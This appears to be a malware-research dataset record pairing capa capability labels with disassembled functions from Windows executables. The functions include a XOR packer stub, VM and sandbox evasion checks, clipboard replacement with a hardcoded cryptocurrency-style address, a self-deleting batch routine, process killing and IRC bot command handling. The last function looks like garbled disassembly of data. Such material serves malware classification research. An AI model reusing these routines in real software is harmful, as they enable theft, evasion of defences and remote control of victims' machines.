joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x44ac3d
Capabilities:
Encode data using xor

Disassembly:
jmp 0x45c19d
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x45c291
push ebx
push ebp
push edi
mov edi, dword [esp + 0x14]
mov ebp, 0x505728
mov bl, byte [esi + edi]
push str.ugAyuisyx
push ebp
call fcn.00449d88
xor edx, edx
mov eax, esi
div dword [esp + 0x24]
pop ecx
pop ecx
push 0x44d1a9
push str.Bicycle_water
mov bh, byte [edx + section..REMO]
push 0x505810
xor bh, bl
call fcn.00449d88
pop ecx
pop ecx
mov ecx, eax
call fcn.0044c727
mov bl, byte [esi + edi]
push 0x44d1a9
push str.dijovhyuGSYYSyus
push ebp
call fcn.00449d88
pop ecx
pop ecx
mov ecx, eax
call fcn.0044c727
add byte [esi + edi], bh
push 0x44d1a9
push str.fdiogiuAsdoiHYUAUAY87234
push ebp
call fcn.00449d88
pop ecx
pop ecx
mov ecx, eax
call fcn.0044c727
dec byte [esi + edi]
push str.suih89Ah3
push ebp
call fcn.00449d88
add byte [esi + edi], 0xfe
push str.XScdyhjkujktyyt
push ebp
call fcn.00449d88
sub byte [esi + edi], bl
push str.sJBCsKJ2BJN
push ebp
call fcn.00449d88
inc byte [esi + edi]
push str.sDGTFsE
push ebp
call fcn.00449d88
inc byte [esi + edi]
push str.ZASwe23
push ebp
call fcn.00449d88
inc byte [esi + edi]
push str.uhgiyGAuyisua
push ebp
call fcn.00449d88
add esp, 0x30
inc esi
cmp esi, dword [esp + 0x18]
jb 0x45c1b6
pop edi
pop ebp
pop ebx
pop esi
ret

Function at 0x44c812
Capabilities:
Parse pe header

Disassembly:
jmp 0x480af1
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x480b30
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x480b30
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x480b30
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x480b30
cmp dword [ecx + 0x74], 0xe
jbe 0x480b30
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x44cab0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
jmp 0x45bb42
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x580d88], eax
pop edi
pop esi
ret
Function at 0x401000
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov dword [ebp - 0x14], str.qemu
mov dword [ebp - 0x10], str.virtual
mov dword [ebp - 0xc], str.vmware
mov dword [ebp - 8], 0x4072f0
mov dword [ebp - 4], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x124], 0
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xffffffff
je 0x401201
mov dword [ebp - 0x138], 0
push 0xc
push 0
lea eax, [ebp - 0x134]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x134], 0
push 0x80
push 0
lea ecx, [ebp - 0x98]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x80
push 0
lea edx, [ebp - 0x120]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x138]
push eax
push 0x80
lea ecx, [ebp - 0x98]
push ecx
push 0xc
lea edx, [ebp - 0x134]
push edx
push 0x2d1400
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x4011f4
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x13c], ecx
mov edx, dword [ebp - 0x13c]
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], 0
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x148], ecx
jmp 0x401141
mov edx, dword [ebp - 0x148]
add edx, 1
mov dword [ebp - 0x148], edx
mov eax, dword [ebp - 0x148]
movsx ecx, byte [ebp + eax - 0x98]
test ecx, ecx
je 0x40117e
mov edx, dword [ebp - 0x140]
mov eax, dword [ebp - 0x148]
mov cl, byte [ebp + eax - 0x98]
mov byte [ebp + edx - 0x120], cl
mov edx, dword [ebp - 0x140]
add edx, 1
mov dword [ebp - 0x140], edx
jmp 0x401132
lea eax, [ebp - 0x120]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.USER32.dll_CharLowerBuffA]
mov dword [ebp - 0x14c], 0
jmp 0x4011b6
mov edx, dword [ebp - 0x14c]
add edx, 1
mov dword [ebp - 0x14c], edx
cmp dword [ebp - 0x14c], 4
jae 0x4011f4
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp + eax*4 - 0x14]
movsx edx, byte [ecx]
test edx, edx
je 0x4011f2
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp + eax*4 - 0x14]
push ecx
lea edx, [ebp - 0x120]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x4011f2
mov al, 1
jmp 0x401203
jmp 0x4011a7
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x401230
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
jmp 0x401246
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 6
jae 0x401267
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x40b024]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401265
mov al, 1
jmp 0x401269
jmp 0x40123d
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x401420
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
push edi
mov ecx, 8
mov esi, str.1EThtvDy9FXXR4A9FtVyFJBJw7sdheBYqS
lea edi, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x24]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
add ecx, 1
push ecx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x30], eax
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
add eax, 1
push eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4014b7
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov ecx, dword [ebp - 0x30]
push ecx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403740
Capabilities:
Copy file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push 0x64
push 0
push str.C:UsersEQUIPO1AppDataLocalTempigmtfbourz
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.C:UsersEQUIPO1AppDataLocalTempigmtfbourz
push 0x64
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
call fcn.00404140
add esp, 4
push eax
push str.C:UsersEQUIPO1AppDataLocalTempigmtfbourz
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push str.C:UsersEQUIPO1AppDataLocalTempigmtfbourz
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x403854
push 0x80
push str.C:UsersEQUIPO1AppDataLocalTempigmtfbourz
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4079a4
push str.C:UsersEQUIPO1AppDataLocalTempigmtfbourz
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x403854
mov dword [ebp - 0x110], 0
jmp 0x403811
mov eax, dword [ebp - 0x110]
add eax, 1
mov dword [ebp - 0x110], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x110], edx
jge 0x403845
push 0xa
call fcn.00404140
add esp, 4
push eax
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
jmp 0x403802
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, str.C:UsersEQUIPO1AppDataLocalTempigmtfbourz
mov esp, ebp
pop ebp
ret
Function at 0x403b90
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403c2b
mov edi, dword [ebp - 4]
xor ecx, ecx
push ecx
mov eax, ecx
mov ecx, 8
mov edx, eax
and edx, 1
jne 0x403bc7
shr eax, 1
jmp 0x403bce
shr eax, 1
xor eax, 0xedb88320
loop 0x403bbc
stosd dword es:[edi], eax
pop ecx
inc ecx
cmp ecx, 0x100
jb 0x403bb4
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov ebx, 0xffffffff
push ecx
xor eax, eax
lodsb al, byte [esi]
mov edx, ebx
shr ebx, 8
push ebx
xchg ebx, edx
and ebx, 0xff
xor ebx, eax
xchg ebx, eax
mov ecx, 4
mul ecx
xchg ebx, eax
mov eax, dword [ebp - 4]
add eax, ebx
mov eax, dword [eax]
pop ebx
xor eax, ebx
mov ebx, eax
pop ecx
inc ecx
cmp ecx, edi
jb 0x403be8
not eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 8]
jmp 0x403c2d
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4040c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push eax
call fcn.00404ae0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4040e0
or eax, 0xffffffff
jmp 0x40413b
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, 2
mov word [ebp - 0x18], dx
movzx eax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40411a
mov eax, 0xfffffffe
jmp 0x40413b
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404138
mov eax, 0xfffffffd
jmp 0x40413b
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4042b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov edx, 5
mov word [ebp - 0x28], dx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esp, ebp
pop ebp
ret

Function at 0x404320
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40435d
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x404370
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x404392
xor eax, eax
jmp 0x40441a
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x4043b4
xor eax, eax
jmp 0x40441a
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.USER32.dll_CharUpperA]
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4043fa
push 1
mov edx, dword [ebp - 0x128]
push edx
call fcn.00404320
add esp, 8
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x40441a
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4043b4
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x404600
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x218]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x108]
push edx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x108]
push eax
push str._swinmgr.txt
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
je 0x4046a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4046a8
xor al, al
jmp 0x4046b7
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4046c0
Capabilities:
Create process on windows
Get common file path
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x110]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xa
call fcn.00404140
add esp, 4
push eax
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push str..bat
lea edx, [ebp - 0x110]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x407a18
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40480a
push 0x80
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.:repeat_n
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
lea eax, [ebp - 0x218]
push eax
push 0x407a28
mov ecx, dword [ebp - 4]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push str.if_exist___s__goto_repeat_n
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea ecx, [ebp - 0x110]
push ecx
push str.del___s__n
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 0
push 0
push 0
lea ecx, [ebp - 0x110]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret
Function at 0x404810
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
push 0x802a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str._x86_
lea edx, [ebp - 0x108]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x404863
mov al, 1
jmp 0x404865
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x404870
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x14
push 0
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x14
push 0
push 0x40bbb4
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00404600
movzx ecx, al
test ecx, ecx
je 0x4048b5
push 0x407a6c
push 0x40bbb4
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x407a70
push 0x40bbb4
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x14
lea edx, [ebp - 0x14]
push edx
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x4048f1
lea eax, [ebp - 0x14]
push eax
push 0x40bbb4
call sub.MSVCRT.dll_strcat
add esp, 8
jmp 0x404903
push 0x407a74
push 0x40bbb4
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x407a78
push 0x40bbb4
call sub.MSVCRT.dll_strcat
add esp, 8
push 8
call fcn.00404140
add esp, 4
push eax
push 0x40bbb4
call sub.MSVCRT.dll_strcat
add esp, 8
mov eax, 0x40bbb4
mov esp, ebp
pop ebp
ret

Function at 0x404a80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x10], 0
je 0x404ac6
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404ace
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x404ae0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x404b1f
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x404b12
xor eax, eax
jmp 0x404b22
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x404d70
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov byte [ebp - 0x240], 0
push 0x3f
push 0
lea eax, [ebp - 0x23f]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x404dd8
push 0x3f
push str.NICK
lea ecx, [ebp - 0x240]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x240]
push eax
push 0x409598
push 0x1ff
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x14
jmp 0x404ef6
cmp dword [ebp + 0xc], 1
jne 0x404e21
push 0x3f
push str.USER
lea edx, [ebp - 0x240]
push edx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x240]
push edx
push str._s__s_____x__:_s_r_n
push 0x1ff
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x18
jmp 0x404ef6
cmp dword [ebp + 0xc], 2
jne 0x404e66
push 0x3f
push str.PONG
lea ecx, [ebp - 0x240]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x240]
push eax
push str._s__s_r_n
push 0x1ff
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x14
jmp 0x404ef6
cmp dword [ebp + 0xc], 3
jne 0x404eac
push 0x3f
push str.JOIN
lea edx, [ebp - 0x240]
push edx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x240]
push edx
push str._s__s__s_r_n
push 0x1ff
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x18
jmp 0x404ef6
cmp dword [ebp + 0xc], 4
jne 0x404ef2
push 0x3f
push str.PRIVMSG
lea ecx, [ebp - 0x240]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0x14]
push eax
lea ecx, [ebp - 0x240]
push ecx
push str._s__s_:_s_r_n
push 0x1ff
lea edx, [ebp - 0x200]
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
jmp 0x404ef6
xor eax, eax
jmp 0x404f4e
push 0x40
push 0
lea eax, [ebp - 0x240]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x200]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x244], eax
push 0x200
push 0
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x244]
mov esp, ebp
pop ebp
ret
Function at 0x404fc0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x40b9ac]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
jmp 0x404ffd
mov ecx, dword [ebp - 0x114]
add ecx, 1
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x110]
jae 0x405021
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp + eax*4 - 0x10c]
cmp ecx, dword [ebp + 8]
jne 0x40501f
jmp 0x405021
jmp 0x404fee
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x110]
jne 0x405057
cmp dword [ebp - 0x110], 0x40
jae 0x405057
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x10c], ecx
mov edx, dword [ebp - 0x110]
add edx, 1
mov dword [ebp - 0x110], edx
xor eax, eax
jne 0x404fe2
lea ecx, [ebp - 8]
push ecx
push 0
push 0
lea edx, [ebp - 0x110]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_select]
mov esp, ebp
pop ebp
ret
Function at 0x405aa0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
cmp dword [ebp + 8], 0
jbe 0x405b8e
mov dword [ebp - 4], 0
push 0x800
push 0
lea eax, [ebp - 0x810]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404fc0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x405b43
cmp dword [ebp - 4], 0x7ff
jne 0x405af0
jmp 0x405b43
push 0
push 1
mov edx, dword [ebp - 4]
lea eax, [ebp + edx - 0x810]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x405b16
xor eax, eax
jmp 0x405b91
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
movsx ecx, byte [ebp + eax - 0x811]
cmp ecx, 0xd
je 0x405b3f
mov edx, dword [ebp - 4]
movsx eax, byte [ebp + edx - 0x811]
cmp eax, 0xa
jne 0x405b41
jmp 0x405b43
jmp 0x405ad0
cmp dword [ebp - 8], 0
jg 0x405b50
mov eax, dword [ebp - 8]
jmp 0x405b91
cmp dword [ebp - 4], 2
jge 0x405b5d
jmp 0x405aa9
mov ecx, dword [ebp - 4]
mov byte [ebp + ecx - 0x811], 0
lea edx, [ebp - 0x810]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00405890
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x405b89
mov eax, dword [ebp - 8]
jmp 0x405b91
jmp 0x405aa9
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x406830
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x40c], 0
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
push 0x400
lea edx, [ebp - 0x408]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40687c
jmp 0x4068a6
cmp dword [ebp - 4], 0
jne 0x406884
jmp 0x4068a6
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x408]
push edx
mov eax, dword [ebp - 0x40c]
push eax
call fcn.004061b0
add esp, 0xc
mov dword [ebp - 0x40c], eax
jmp 0x406853
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x40c]
mov esp, ebp
pop ebp
ret

Function at 0x40480a
Capabilities:
Encode data using xor

Disassembly:
call 0x404739
mov ecx, 0x211
call 0x40480a
rcr dword [esi + 0x30], 0x4c
push cs
pop es
xor byte [esi + ecx + 7], cl
loop 0x40480d
mov eax, 0x50402fd
out dx, al
clc
div esi
cmc
